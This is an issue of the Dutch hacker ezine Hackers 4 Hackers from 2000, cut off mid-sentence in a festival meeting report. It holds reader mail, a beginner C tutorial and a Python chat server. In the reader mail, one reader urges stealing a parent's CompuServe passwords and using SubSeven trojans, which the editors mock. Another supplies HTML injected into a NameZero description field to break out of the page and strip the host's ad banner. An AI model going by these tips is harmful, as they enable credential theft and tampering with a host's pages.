Copy Link
Add to Bookmark
Report

Hackers 4 Hackers #0A

Hackers 4 Hackers Issue 0A, released on 05-07-2000

eZine's profile picture
Published in 
Hackers 4 Hackers
 · 9 months ago

                      ___ ___    _____    ___ ___ 
/ | \ / | | / | \
/ ~ \/ | |_/ ~ \
\ Y / ^ /\ Y /
\___|_ /\____ | \___|_ /
\/ |__| \/

+-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+
|h|a|c|k|e|r|s| |4| |h|a|c|k|e|r|s| |0|A|
+-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+
http://www.hackers4hackers.org
'05-07-2000', Momenteel 814 lezers.


Om je aan te melden bij de maillijst kan je een mailtje sturen naar
subscribe@hackers4hackers.org met als titel "subscribe h4h emailadres"

Of je kan je online aanmelden op http://www.hackers4hackers.org

Artikelen en dergelijke kun je mailen naar post@hackers4hackers.org. Vragen kun
je mailen naar de desbetreffende auteur of ook naar post@hackers4hackers.org.

Uitspraak:
[Masta-N: Ik heb een nieuwe gayway]

Enkele interessante sites:
http://itris.eu.org
http://www.security.nl
http://www.hit2000.org
http://hier.is/Triples
http://www.whatis.com
http://viper.dmrt.com
http://www.klaphek.nl
http://www.hack.vuurwerk.nl
http://kickme.to/hackfaq
http://www.startplaza.nu
http://www.dsinet.org
http://www.satl.com/c/hackerHOWTO.html
http://packetstorm.securify.com/docs/hack/i.only.replaced.index.html.txt

Leuke kanaaltjes op IRCnet:
#h4h
#hit2000
#nlcoders


01. Disclaimer............................................... (Redactie)
02. Inleiding................................................ (Redactie)
03. Lezerspost............................................... (Redactie)
04. C........................................................ (Tozz)
05. Chatserver schrijven in Python........................... (A[r]TA)
06. Verslag meeting Pinkpop.................................. (pippitaal)
07. Hoe en Wat SSH........................................... (GrAzEr1)
08. Evenementen.............................................. (Redactie)
09. Gratis bellen met een nokia ???.......................... (Berry)
10. Extension on old PHF bug................................. (drgenius)
11. Eindwoord................................................ (Redactie)


-------------------------------------------------------
01. Disclaimer
-------------------------------------------------------
We zijn niet verantwoordelijk voor datgene wat jullie met deze informatie doen.
Deze informatie dient alleen voor educatieve doeleinden. Als je in problemen
komt, kan je ons niks verwijten. Gebruik maken van deze informatie kan strafbaar
zijn. Meningen van auteurs hoeven niet hetzelfde te zijn als die van de
redactie.

Correspondentie met de redactie is mogelijk per email :
Algemeen - post@hackers4hackers.org
Asby (Hoofdredacteur) - asby@hackers4hackers.org
Berry (Website + Eind redactie) - berry@hackers4hackers.org
Tozz (Redactie) - tozz@hackers4hackers.org
Viper (Redactie) - viper@hackers4hackers.org
Nighthawk (Redactie) - nighthawk@hackers4hackers.org

-------------------------------------------------------
02. Inleiding
-------------------------------------------------------

De redactie van h4h wil na de geslaagde meeting op pinkpop (verderop in dit
nummer een verslag daarvan) ook een meeting gaan houden op lowlands, We hopen je
daar te zien. voor meetings hebben we een nieuw email adres :
h4h-meeting@hackers4hackers.org, op dit adres kan er gemaild worden voor
aanmeldingen of informatie met betrekking tot de meetings die wij organiseren.

De uitslag van de Adframe poll is als volgt geworden:
Title: Adframe hack lame of niet
- WTF is Adframe?? - 32.2% - (49 Votes)
- Was geen eens een echte hack - 28.9% - (44 Votes)
- Ontzettend, heeft niks met hacken te maken - 15.1% - (23 Votes)
- De 'hackers' geven de hackscene een slechte naam - 13.1% - (20 Votes)
- Goed voorbeeld van een echte hack - 10.5% - (16 Votes)
Totaal aantal stemmen: 152
Voor degene die de discussie in de nieuwsgroepen alt.hit2000.nl en alt.hack.nl
niet hebben gelezen, raden wij www.deja.com aan om dit alsnog na te zoeken.

De nieuwe lopende poll gaat over ons meeting gedrag ;)
Title: Hackers 4 Hackers moet vaker meetings houden
-Ja vaker meetings... Maar dan wel grote (met computer) 54.9%
-Ja vaker meetings... Ze hoeven niet groot te zijn, Gewoon elkaar regelmatig
zien enzo. 24.5%
-Nee, Meeting nergens voor nodig. 14.7%
-Ja vaker meetings... Maar dan wel grote (zonder computer) 5.8%

Deze poll loopt nog dus er kan nog gevote worden. Dus breng je stem uit op:
http://www.hackers4hackers.org/cgi-bin/poll.cgi Overigens betekend de uitslag
niet dat we er ons aan gaan houden ;)

We zoeken eigenlijk ook nog iemand die iets wil schrijven over zijn of misschien
wel haar vakantie werk in de IT wereld.

Verder wensen iedereen veel leesplezier toe en mochten er op of aanmerkingen
zijn, Surf dan even naar onze website en vul het in bij commentaar.


De redactie

-------------------------------------------------------
03. Lezerspost
-------------------------------------------------------
hey,
[dagdag]

What tha fuck is coldfusion?????
[Een webserver-add-on (ofzo), neem een kijkje op www.allaire.com]

see ya
[groeten aan je moeder]

--
Haliehalo!
[hoi?]

he wat was dat nou psies met adframe?
[niets... helemaal niets... $$$]

danku!
[geen dank]

everest
[die van.. mount?]

--
Hoi
[ook goedemiddag]

Eerst zal ik me eens voorstellen, ik ben Builder,
[Ik ben Tozz, aangenaam]

ik heb jullie gevonden via nighthwak, die ooit eens een stunt
heeft uitgehaald op onze irc server in #drooms toen is er het
een en ander uitgepraat, en vertelde hij ook over deze site,
ik ben hier toen eens gaan kijken, en heb weer wat bijgeleerd,
[uiteraard heb je wat geleerd... dat spreekt voor zich ;P]

maar nou heb ik een vraag, het gaat weleens over irc. en dan
over kanalen als #chatlord enzo, maar er staan nooit servers
bij, dus kunnen jullie mij de server eens mailen?

[De meeste gebruikte servers zijn o.a.:
irc.xs4all.nl
irc.nl.uu.net
irc.stealth.net
en zo zijn er velen]

ik hoop tot mails
[lezerspost ook goed?]

--
he brute gasten bij H4H
[haaaai]

mocht je pa compuserve hebben.rip dan ze paswoorden en zorg dat hij de maand
later
een rekening van 5 mijer in de bus krijgt

[Mijn pa heeft helemaal geen internet en ook al had hij dat dan
zou ik hem geen compuserver aanslepen. En hij krijgt elke
maand al een rekening van 5 mijer in de bus maar dat komt omdat
ik zo veel zit te internetten.. En waarom zou ik z'n paswoorden rippen?

Maarja, jij bent natuurlijk zo'n mega 31337 H4X0R met een pappie
die meer van pc's weet dan jou en die dus jou'n internet regelt]

als je veel hackt doe het dan via het internet abbonement van je moeder zodat
zij straks verwijderd wordt.dan blijft je eigen e-mail adres tenminste bestaan

[aah, dus we hebben een account voor ieder familielid? Nee, dat is logisch
dan kunnen ze tenminste onderscheiden of je vader, moeder of zusje
www.microsoft.com gekraakt heeft natuurlijk!]

mocht een of andere lamer je een ip sturen van bijv. een sub7 server RIP hem
dan onimddelijk en zorg dat andere er niet opkomen.dat maakt hacken net ietsjes
makkelijker.

[dank voor de tip! Alleen waarom stuurt niemand mijn IP's met sub7 servers
op eigenlijk? Misschien zit ik wel niet in de core van de 31337 H4X0R
scene!]

als je zit te hacken met trojans enzo neem dan SUBSEVEN en geen netbus !!!!!!!!!

[ja maar als.. ach, laat ook maar.. vast te hoog gegrepen voor mij]

mocht je iemmand hacken die kinderporno op ze pc heb geen hem dan aan bij
meldpunt
kinderporno !!!!!!gnagna :-p

[Hmm, jij bent wel een boer he? 'op ze pc heen hem'.. maarja..
we kennen natuurlijk nait alles hebben he? maar dan most du
toch us vertellen, hoest dan mienjong?]

voor de rest wil ik alleen maar zeggen dat Hackers4Hackers een kankerbrute site
is !!!!!!!!!!!!!!!!

[Uiteraard, wij zijn er dan ook trots op dat onze site volledig
flash-loos is en 100% Lynx compatible!]

jullie zullen die mailtje waarschijnlijk wel gruwelijk afkraken net als de rest
van de lezerspost maar dat kan me geen zak schelen :-p

[Uiteraard, gelukkig vind je het niet erg want anders ga je mij misschien
nog wel haxoren natuurlijk!]

mzl, groeten , 33N 16 J4RIG3 H4CK3R
[Daaag, ik had je jonger geschat eigenlijk!]

--
hallo,

[hoi]

kan iemand me a.u.b. helpen bij het patchen van birmy rip 5.1 ik heb
een keer bryce 4.0 gepatched maar ik weet niet meer hoe het moet.

[Aah, je kan al bijna net zulke goede smoesjes bedenken als
al die gasten met hun ex- vrienden die hun hotmail gekraakt
hebben, maar zelf kunnen ze het niet]

p.s. het is voor de mac
[Linux is er ook voor de mac, wist je dat wel?[

--
hoi
[hoi]

ik ben een newbee en ik zou heel graag willen weten wat je nodig hebt en
wat je moet weten om te hacken

[zucht.. Ok, stap 1: ga alle RFC"s maar lezen,
kom dan maar terug]

--
He berry
[<EEEEH>, fout geantwoord, u gaat niet door... Nee, dit is dus tozz]

ik had een vraagje ;
[zoals zovelen]

HOE KOMT HET DAT IK ZO GOED ALS ELKE WEEK VAN DIE MAILING LIST GEDONDERD
WORD ?

[ Om een lang verhaal kort te maken: een paar mogelijkheden:
* Je mailbox zit vol (user is over quota)
* Mailserver ligt plat
* DDS ziet het aan voor spam

Berry is hier mee bezig geweest en hopelijk is het nu opgelost]

I just needed to get this off my chest ! Aaah i feel a lot better now,thanxz !
hier was /ben ik dus niet zo blij mee !

[Ik heb er ook last van gehad!]

Voor de rest ga zo door met het blad !
[doen we! :)]

Groetjes
kINg DiS
[doegie]

--
Hallo
[Dag dag]

ik was geintressert in hackken en ik uwe geds gevonden maar met telnet
krijg ik nooit verbinding.
[Jammer joh!]

Wat kan ik doen om dit op te lossen?
[Ik zou proberen om een server te vinden die telnet
open heeft staan! Helaas zijn dit er niet zo
super veel :)]

--
Hallo redactie van de H4H (of wie dit ook leest).....

[Alle lezers dus ;P]

Ik ben Bolleuh en ik had een vraagje, weten jullie ook iets van het hacken
van hotmail???
[Adem in, adem uit, adem in... ]

Ja ik weet dat het bijna niet mogelijk is enzo en dat het
misschien een vaak gestelde vraag is waar ik heb zitten zoeken op internet
over het hacken van hotmail maar alles wat ik vond waren txt files uit het
jaar nul dus die werken niet meer ik dach mischien weten jullie iets meer.

[Ja, het is wel degelijk mogelijk, maar van de FBI mag ik die
text file met de xploit niet vrijgeven want dan gaat Microsoft
mij aanklagen want die betalen mij nu ieder uur dat ik die
xploit niet release! blablablablabla

i.a.w: Accepteer nu eens dat het gewoon niet kan!]

Btw weten jullie ook nog een paar goede sites???????????
[eeuh staat bovenaan H4H]

Na ik hoor het hopelijk wel via een e-mail of mischien via icq me nr is
124xxxxx
[lezerspost ook goed?]

--
vraagie
[Ben benieuwd.. weer hotmail?]

kan ik op mijn pc een map beveiligen? hiermee bedoel ik dat je de map opent
dat hij een wachtwoord vraagt. Heb in een vorige h4h al eens gelezen over linken
naar een ander bestand, maar dan kan je nog altijd vinden, begrijp je.

[Windows '9x kan dit niet, NT heeft wel een soort gelijk iets
daarmee kan je rechten opgeven (net als met UNIX) maar dan moet
je je schijf wel als NTFS geformatteerd hebben, met een FAT disk
kan dit dus weer niet enzo]

ennuhn nog iets. Kun je redhat linux vanaf je schijf installeren?
[Ja]

binnenkort: www.bengopage.com, heb dit adres gratis verkrege bij namezero.
[Ja, namezero is popi!]

Je krijgt dan wel zo'n grote kutbanner onderaan de site, heb uitgezogd hoe je
die wegkrijgt en ben tot de volgende
oplossing gekomen:
-login je controlpanel (bv. controlpanel.bengopage.com)
-kijk in je HOMECHANNEL en klik daar op CHANGE
-je zet in de DESCRIPTION textarea volgende code:

Hier je beschrijving"
></HEAD><FRAMESET rows="100%,*" border=0
frameborder=0 framespacing=0 framecolor="#000000"><FRAME
src="http://hier je normale url"><FRAME></FRAMESET>

[Kijk, eindelijk lezerspost met iets nuttigs! NU kijken
wat NameZero gaat doen als alle lezers hun NameZero banner
ineens weghalen ;p]

nou, gratis domein zonder kutbanner.
[perfect!]

nog iets, ben van plan geweest een firewall aan de site te zetten, maar weet
niet goed hoe dit werkt. Moet je hem dan gewoon uploaden?
[Wat? een firewall aan de site? ]

-------------------------------------------------------
04. C
-------------------------------------------------------
CH02_1. Zo, eindelijk een vervolg. Dit vervolg is weer uit 99.9% gebaseerd op
het boek 'Teach yourself C in 24 hours' by Sams Publishing. (Vanaf nu afgekort
als TYCI24H)

De vorige keer heb je de basics geleerd over C, en we gaan nu onze eigen
procedures en functies schrijven. Procedures en functies zijn heel erg handig
omdat het veel 'dubbel typen' voorkomt, en daardoor wordt het programma ook
sneller omdat de executable file kleiner is.

In het algemeen gebruik je procedures om vaak voorkomende handeling te bundelen.
En dat bundeltje is overal aan te roepen. Een functie gebruik je meestal om een
berekening te kunnen maken. Je zou bijvoorbeeld een functie 'worteltrekken'
maken, die de wortel van een bepaald getal uitrekent. Een mooi voorbeeld voor
een procedure is de init procedure. In de 'initialisatie' procedure worden alle
integers op bepaalde waarden gereset. Dit is handig als je een spel gaat
programmeren en je wilt 'nog een keer spelen', dan roep je de 'init' procedure
aan en alles is gereset.

Omdat je vooral in functies veel met variabelen gaan werken, zal ik dit eerst
nog even wat duidelijker uitleggen.

Een variabele is een stukje geheugen met een label, in dit stukje geheugen kan
van alles staan (dat ligt aan het type variabel dat je defineert). Dat label
heet 'identifier', en dat is de naam van een bepaalde variabel.

Je kan bijvoorbeeld een variabel 'getalletje' hebben van het type 'integer'.

Zoals je ziet kan een integer alleen maar bestaan uit hele getallen, je kan met
een integer dus *niet* delen, omdat daar altijd een floating point (komma getal)
uit komt. Maar aan de andere kant kan je geen array's (ik leg later wel uit wat
een array is) defineren met een real, omdat er tussen 1.0 en 1.1 oneindig veel
nummers zitten.

Je kan met variabelen ook gewoon rekenen alsof het gewone getallen zijn (mits de
variabel uit een cijfer reeks bestaat, met een 'string' (tekenreeks) kunnen we
dus *niet* rekenen).

Je kan dus dit doen:

getalletje = 10;
maar ook:
getalletje = 11 * 22;
en
getalletje = (11 / 3) * (5 + 1);

En je kan ook met meerdere variabelen rekenen, stel je hebt de variabelen van
het type integer getal, getalletjes en getallen; dan kun je iets doen als:

getal = getalletjes * getallen;


Om de compiler duidelijk te maken wat nu bij de procedure/functie hoort moeten
we ook bij functies en procedures gebruik maken van de brackets { en }.

Omdat een functie ook een waarde terug kan geven (je kan een functie heel goed
vergelijken met een 'machinetje' dat je bij Wiskunde geleerd hebt, je stopt er
iets in, en er komt iets uit) Je moet dus opgeven wat voor data type je erin
stopt, maar ook wat er weer uit komt. het type dat er uitkomt is dus de
'function's type'.

Ook zijn er regels gebonden aan de namen die je functies, variabelen en
procedures geeft.
ze mogen *niet*:

* beginnen met een nummer
* beginnen met een * (Asteriks)
* beginnen met een + (Addition)
* beginnen met een . (punt)
* ergens een '-' (min) teken bevatten. b.v. totaal-aantal is dus *FOUT*!.
* mag geen apostropfe inzitten! b.v. jaar'00 is dus *FOUT*!.

Een aantal goede voorbeelden:

xs4all
tozz_is_crazy
_mail_me
x3

Zoals al eerder verteld heeft een functie een 'input' en een 'output'. Je moet
ook de types van de 'input' opgeven. Dit moet tussen de 2 haakjes ( en ). Het is
toegestaan om dit leeg te laten, maar het is niet gebruikelijk.

Een voorbeeld functie: (de nummers staan voor de regel nummers voor de latere
uitleg)

1: /* Telt 2 variabelen van het type integer bij elkaar op. */
2: int optellen( int a, int b )
3: {
4: int result;
5: result = a + b;
6: return result;
7: }

Nu een stap-voor-stap uitleg per regel.

1: Simpel commentaar, ik gebruik dit altijd om een korte duidelijke omschrijving
van de functie/procedure te geven.
2: het 'aanmaken' van de functie. Het gaat hier om een functie van het type
'integer' (in C wordt integer afgekort met 'int'. dus eigenlijk staat er:
integer optellen( int a, int b ).

Verder heeft de functie 2 'input' waardes, die worden tijdens de functie
opgeslagen in de variabele a en de variabele b.

3: Opening-bracket, dit geeft aan dat het statement-block begonnen is, en alle
opdrachten tussen { en } horen dus bij deze functie.
4: definieer de variabel result van het type integer
5: tel de waarden van de variabelen a en b bij elkaar op en zet de uitkomst in
de variabel 'result'
6: De 'output' van de functie is de waarde van de variabel 'result'.
7: closing bracket, einde van dit statement-block.

Ok, leuk zo'n functie.. maar hoe gebruik je zo'n ding nu dan? Nou, heel simpel..
Het aanroepen van een functie noemen we 'function calls'.

--
Let op: Een functie moet altijd boven het hoofdprogramma staan omdat als je hem
onder het hoofdprogramma zet de functie niet bekend is bij het hoofdprogramma.
Immers, de compiler heeft hem nog nooit eerder gezien.
--

Een voorbeeld (ik gebruik hier weer de functie die we net gemaakt hebben:
optellen).

1: /* Voorbeeld van een functie */
2: #include <stdio.h>
3: /* Telt 2 getallen bij elkaar op */
4: int optellen( int a, int b )
5: {
6: int result;
7: result = a + b;
8: return result;
9: }
10:
11: int main()
12: {
13: int sum;
14:
15: sum = optellen( 5, 12);
16: printf("Als je 5 en 12 bij elkaar optelt da krijg je: %d.\n", sum);
17: return 0;
18: }

Weer even een stap-voor-stap uitleg:

1: commentaar
2: gebruik de library 'stdio.h', deze heb je altijd nodig. Hier staan de
standaard functies/procedures in als printf enzo.
3: commentaar
4: Maakt een functie aan van het type integer en noemt deze functie 'optellen',
met 2 integers als input en wel de variabelen a en b.
5: opening bracket, begin statement-block
6: maak een nieuwe variabele aan van het type integer en noem deze variabele
'result'.
7: tel de waarden van de variabelen a en b bijelkaar op en zet de uitkomst in de
variabel result.
8: geef de waarde van de variabel result als uitkomst (output) bij de functie.
9: closing bracket, einde statement-block van de functie 'optellen'.

11: begin het hoofd programma, deze is van het type integer (main() is standaard
van het type integer)
12: opening bracket, begin statement-block
13: maak een variabel van het type integer en noem deze sum.
15: * LET OP *
Zet de uitkomst van de functie 'optellen' in de variabel 'sum'. En geef als
input aan de functie de getallen 5 en 12.
16: Bouw een mooi verhaaltje om de uitkomst heen en zet dit op het scherm
17: geef de waarde 0 als output aan de functie main.
18: closing bracket, einde statement-block, en omdat dit het einde van het
statement-block van de functie main is betekent dit oko het einde van het
programma.

Je vraagt je misschien wat die %d betekent.. Die %d wordt vervangen door de 2e
variabel binnen printf (en dit geval is de 1e variabel alles tussen " en " en de
2e variabel is hier dus 'sum'). Die %d bepaald o.a. in welk formaat de variabel
'sum' op het scherm gezet wordt.

Meer details over %d komen later.

Als je dit programma zou compileren, en dat doen we natuurlijk, en je voert het
uit dan krijg je dit als output:

[compilen]
gcc 1efunctie.c -o 1efunctie
[draaien (onder linux)]
./1efunctie
[output]
Als je 5 en 12 bij elkaar optelt dan krijg je: 17.

CH03_D CH04_N

We gaan het nu hebben over nog een aantal data types. Want jawel, er is meer dan
alleen de integer. Je hebt naast de integer ook nog:

char
float
double

Iedere taal heeft zogenaamde 'gereserveerde woorden', deze woorden mag je zelf
als programmeur niet gebruiken als namen voor procedures, functies, variabelen,
constanten, e.d. C heeft 32 van deze gereserveerde woorden.

En dat zijn de volgende: (rechtstreeks uit TYCI24H)

auto Storage class specifier
break Statement
case Statement
char Type specifier
const Storage class modifier
continue Statement
default Label
do Statement
double Type specifier
else Statement
enum Type specifier
extern Storage class specifier
float Type specifier
for Statement
goto Statement
if Statement
int Type specifier
long Type specifier
register Storage class specifier
return Statement
short Type specifier
signed Type specifier
sizeof Operator
static Storage class specifier
struct Type specifier
switch Statement
typedef Statement
union Type specifier
unsigned Type specifier
void Type specifier
volatile Storage class modifier
while Statement

Omdat C een hoofd-letter-gevoelige taal is, mag je 'auto' dus niet als een
procedure naam gebruiken, maar Auto bijvoorbeeld weer wel. Maar AuTo, aUto,
auTo, autO, AutO, e.d. zijn allemaal toegestaan.

We gaan even duidelijker naar de data typen char, float en double kijken.

Een char - de naam zegt het al - is een character, dus een karakter. Dat
betekent dat in een karakter ieder karakter kan staan dat in de 'karakter-lijst'
staat.

Vroeger hadden de meeste computers maar 128 tekens (7 bits, namelijk 2^7 is 128)
terwijl de huidige IBM-compatible machines 256 karakters hebben (8 bits,
namelijk 2^8 is 256).

Je kan een variabele van het type char als volgt declareren (declareren betekent
toewijzen of aanmaken)

char variabelenaam;

en als je er meerdere wilt aanmaken dan kan dat als volgt:

char variabelenaam1;
char variabelenaam2;
char variabelenaam3;

maar handiger is misschien:

char variabelenaam1, variabelenaam2, variabelenaam3;

Herrinering: constantes zijn eigenlijk net variabelen alleen kan je ze niet meer
wijzigen, ze worden 1x vastgesteld en daarna is er niets aan de wijzigen.

Maar je kan ook een char gebruiken als je constantes gaat toewijzen. Een
karakter tussen 2 ` en ' noemen we een constante. Bijvoorbeeld x = `a';

Gerelateerd hieraan is het escape karakter (27), die heb je al gezien in het
vorige deel, bij printf waar we /n gebruiken om een harde return te geven.
Behalve /n heb je er nog een paar:

/b Verplaatst de cursor 1 karakter naar links
/f 'form-feed', gaat naar de bovenkant van een nieuwe pagina.
/r return character, gaat naar het 1e karakter van de huidige regel.
/t tab, gaat naar de volgende tab stop.

En je hebt ook al wel eens van %d gehoord (print integers bij het gebruik van
printf!), zzo heb je ook %c, het
enige verschil is dat %d gebruikt wordt bij integers, en %c bij characters.

Voorbeeldje:

1: /* 04L01.c: Print chars */
2: #include <stdio.h>
3:
4: main()
5: {
6: char c1;
7: char c2;
8:
9: c1 = `A';
10: c2 = `a';
11: printf("Convert the value of c1 to character: %c.\n", c1);
12: printf("Convert the value of c2 to character: %c.\n", c2);
13: return 0;
14: }

Aangenomen dat je het belangrijkste nu wel zo'n beetje snapt sla ik sommige
dingen over

9: zet het karakter 'A' (zonder aanhalingstekens) in de variabele c1.
10: zet het karakter 'a' (zonder aanhalingstekens) in de variabele c2.
11: Zet de regel tussen " en " op het scherm, en vervang %c met c1.
12: Zet de regel tussen " en " op het scherm, en vervang %c met c2.

Als je dit compiled en uitvoert dan krijg je:
Convert the value of c1 to character: A.
Convert the value of c2 to character: a.

Nu even iets leuks, we halen nog even het voorbeeldje erbij:

1: /* 04L01.c: Print chars */
2: #include <stdio.h>
3:
4: main()
5: {
6: char c1;
7: char c2;
8:
9: c1 = 65;
10: c2 = 97;
11: printf("Convert the value of c1 to character: %c.\n", c1);
12: printf("Convert the value of c2 to character: %c.\n", c2);
13: return 0;
14: }

Zoals je ziet hebben we nu geen karakter ingetypt, maar hebben we het nummer van
het karakter gegeven.
(note: het getal 65 in de karakter-lijst staat voor A en 97 voor a).

En let nu op, je denkt misschien dat als je dit uitvoert dat er dit komt te
staan:
Convert the value of c1 to character: 65.
Convert the value of c2 to character: 97.

Dat is dus niet waar, immers.. een variabele van het type char kan maar 1
karakter bevatten, en 65 zijn al 2.
Dus wat er hier gebeurd is het volgende: in de karakter-lijst wordt opgezocht
welk karakter op de 65e plaats staat, en dat is het karakter 'A'; en DAT is
hetgene dat op het scherm komt.

Dat was het voor deze keer, ik zal proberen om voor de eerst volgende H4H weer
een release klaar te hebben maar ik heb het druk.

CH04 4.2

Bye,
Tozz (tozz@hackers4hackers.org, comments are more than welcome).

-------------------------------------------------------
05. Chatserver schrijven in Python
-------------------------------------------------------
-Inleiding
-Beschrijving van de opzet
-De broadcast functie
-De main loop

Voor meer info over Python kijk op:

www.python.org
starship.python.net

-Inleiding-

Hej, daar ben ik weer. Een leuk artikeltje over Python moest er
maar weer de deur uit. Dit artikel is eigenlijk een letterlijke
vertaling van de chatserver-code en uitleg die Ka-Ping Yee
mij eens stuurde, maar dat maakt niet uit. :P
Voor degene die niet meer weet wat Python is verwijs ik hem/haar
naar de vorige H4H's waar ik ook een artikeltje over Python in heb
geschreven.


-Beschrijving van de opzet-

Als je een chatserver wil maken moet je ervoor zorgen dat de server
in een loop kijkt of er nieuwe berichten zijn binnengekomen of er mensen
zijn gejoined of hem zijn gepeerd of dat er bepaalde commando's gegeven
worden. Dit kan niet zomaar in Python. Hiervoor moet je de select-module
gebruiken. Deze kijkt naar de voltooiing van de I/O-operatie.

We beginnen zo:
Eerst worden er enkele modules geimporteerd.

import socket, string, select

Hierna worden de hostname en port gedefineerd.
De host is gewoon localhost dus daar hoeft niets ingevuld te worden.
Voor de poort nemen we 5007.

HOST, PORT = '', 5007

Hieronder defineren we welke manier van data-versturing we
gebruiken. Kijk voor meer info hierover in de Python-manuals.

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)

Voor elke nieuwe connectie wordt er een naam aan de socket geschreven.
Die wordt opgeslagen in een zogeheten dictionary. Hieronder definieren we
hem.

socknames = {}

Voor meer info over dictionarys en andere Python-specifieke datatypes kijk
in de Python-reference die bij je gedownloade package zit of op www.python.org


-De broadcast functie-

Natuurlijk moeten we een functie hebben waarin een bepaalde text, naar
iedereen in de chatbox gestuurd moet worden. Dat gebeurd met de volgende
functie.

Eerst wordt de naam van de functie en de doorgeefvariabelen gedefineerd.

def broadcast(message, sender):

Dan kijkt hij welke socket de zender van het bericht is. Is het diegene
dan wordt de text er niet naar toegezonden. De desbetreffende persoon
heeft de text toch al ingetypt op zijn eigen pc! Hij zoekt dus de sockets
op in de dictionary.

for sock in socknames.keys():
if sock is not sender:
sock.send(message)


-De main loop-

Eerst kijkt de loop of er nog nieuwe connecties zijn gemaakt.
Zo ja, dan slaat hij ze op in de dictionary socknames.
Middels de module select ga je kijken welke sockets iets gestuurd
hebben, iets willen ontvangen of dat er nog errors zijn. Het vierde
argument van de select.select functie is een time-out in seconden.
Die willen we echter niet gebruiken. Dus vullen we hier None in.

while 1:
nums = [s.fileno()]
for sock in socknames.keys():
nums.append(sock.fileno())
rd, wr, ex = select.select(nums, [], [], None)

Hierna is er gekeken dmv select of er iets gebeurd is.
Zo ja, dan wordt er in de lijst rd gekeken welke sockets iets
gestuurd hebben.


for n in rd:
if n == s.fileno():

Als dit gebeurd is hebben we een nieuwe connectie en wordt hij
in de dictionary gezet. Eerst vragen we hem om zijn naam in te
voeren.

sock, addr = s.accept()
socknames[sock] = None
sock.send("Hello! Please enter your name.\n")

else:

Gebeurd dit niet dan heeft iemand wat gezegt op een bestaande
verbinding. Met de volgende loop wordt gekeken welke verbinding dit
was, door in de sockets van de dictionary te kijken.

for sock in socknames.keys():
if sock.fileno() == n: break
name = socknames[sock]


Hierna gaan we kijken wat er was gezegd. Voor de simpelheid nemen
we aan dat iedereen per keer 1 regel text invoert, zodat we gewoon
een newline kunnen verwachten als de invoer klaar is.
We gebruiken de make-file methode hier, zodat we de goede readline
hebben en de informatie kunnen uitlezen.

text = sock.makefile().readline()
if not text:

Als er een lege string wordt gereturned van readline dan is de verbinding
gesloten. Dit moeten we ffkes aan iedereen laten weten en dan de socket + name
uit de dictionary verwijderen.

broadcast("%s has left.\n" % name, sock)
sock.close()
del socknames[sock]

elif name is None:

Als er iets is gezegd, maar de naam is nog niet opgeslagen, dan
heeft die persoon zijn naam in getypt. Deze wordt dan opgeslagen
in de dictionary en de client wordt welkom geheten.

name = string.strip(text)
socknames[sock] = name
sock.send("Thanks! Welcome to the conversation.\n")
broadcast("%s has arrived.\n" % name, sock)

else:


Hierna heb je een naam en is er iets gezegd dan moet dat naar
iedereen gezonden worden middels de functie broadcast.


broadcast("%s: %s" % (name, text), sock)

Klaar. Dat was het al.
* * *

Hier is het volledige script:


import socket, string, select
HOST, PORT = '', 5007

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)

socknames = {}

def broadcast(message, sender):
for sock in socknames.keys():
if sock is not sender:
sock.send(message)

while 1:
nums = [s.fileno()]
for sock in socknames.keys():
nums.append(sock.fileno())
rd, wr, ex = select.select(nums, [], [], None)

for n in rd:
if n == s.fileno():
sock, addr = s.accept()
socknames[sock] = None
sock.send("Hello! Please enter your name.\n")

else:
for sock in socknames.keys():
if sock.fileno() == n: break
name = socknames[sock]

text = sock.makefile().readline()

if not text:
broadcast("%s has left.\n" % name, sock)
sock.close()
del socknames[sock]

elif name is None:
name = string.strip(text)
socknames[sock] = name
sock.send("Thanks! Welcome to the conversation.\n")
broadcast("%s has arrived.\n" % name, sock)
else:
broadcast("%s: %s" % (name, text), sock)


* * *

Wil je de client zelf schrijven? Kijk maar goed naar de bovenstaande
code en dan moet je er wel uit zien te komen.
Voor meer info kijk eens ff op www.python.org of starship.python.net.
Dit is niet mijn werk. Het is alleen maar een vertaling van een mail
die ik heb gekregen van Kai Ping Yee dus als je me echt diep erop ingaande
vragen gaat stellen, zal ik proberen ze te beantwoorden, maar daar kan
ik niet met een zeker ja op antwoorden. Of vraag het anders ff in de python-NG.

A[r]TA
arta@x-stream.nl

-------------------------------------------------------
06. Verslag meeting Pinkpop
-------------------------------------------------------
PINKPOP 2000
Whores, Gays, sync-'s and the self-inflating woman....

the cast:

N|ghthawk aka thijssie aka scenegay
Pippitaal aka irmpje aka sienwhore
Asby aka superbas aka masterscout
sync- aka damientje aka M00 aka brak
Ivo_ aka ivootje aka superzuiper
jewie aka ivo II aka ivo ivo
Dugo aka jakobje aka superblower
superboring aka superboring aka superboring
superboring II aka superboring II aka superboring II

op schoolreisje met meester bas.....

Meesterorganisator Bas had het allemaal prima geregeld, niemand had een kaartje,
die had hij allemaal! braverikje sync kwam uren te vroeg, uitslapers dugo en pip
uren te laat en de superborings stonden gewoon op de verkeerde camping. Dus
alles prima tot zover. nadat de tenten allemaal stonden (met 5 man een 2
persoonstentje opzetten werkt dus niet!) werden ze allemaal gedoopt. We hadden :
1/ sextent
2/ ruktent
3/ gaytent
4/ zuiptent
5/ slaaptent!!!!
6/ boringtent

Deze tenten konden naar behoefde gebruikt worden en daar werd door sommigen wat
al te enthousiast mee omgegaan! Op de gaytent zaten na 1 nacht de witte vlekken
al aan de buitenkant!!!! De geur van dierlijke afscheiding in de sextent was
heftag en de berg blikjes voor de zuiptent was ook al snel niet meer te
overzien. Uiteraard was de slaaptent niet echt populair en over ruktent durf ik
me niet uit te laten (sync is irl nogal groot namelijk :-))

De eerste avond op het festivalterrein was top. Pip werd geheel en al tegen haar
wil bovenop the crowd gelegd en eindigde een flink aantal meters verder met een
zeiknatte broek op de grond, *plof* auch. Ivo en asby doken bruut de pit in bij
Guano Apes om zich even later verhit weer bij ons te voegen, en oasis was klote
(hoe kan het ook anders). De "geweldige" Wanadoobus ging om 22:00 al dicht!!!
dus onze geweldig verzonnen nicks; pipondug, hawkonasbyonsync enz. konden we
helaas weer vergeten. Terug op de camping werd overwogen een klacht in te dienen
tegen de verkoop van die typhus-, tering-, oranje-TOETERS maja dat durfde ze
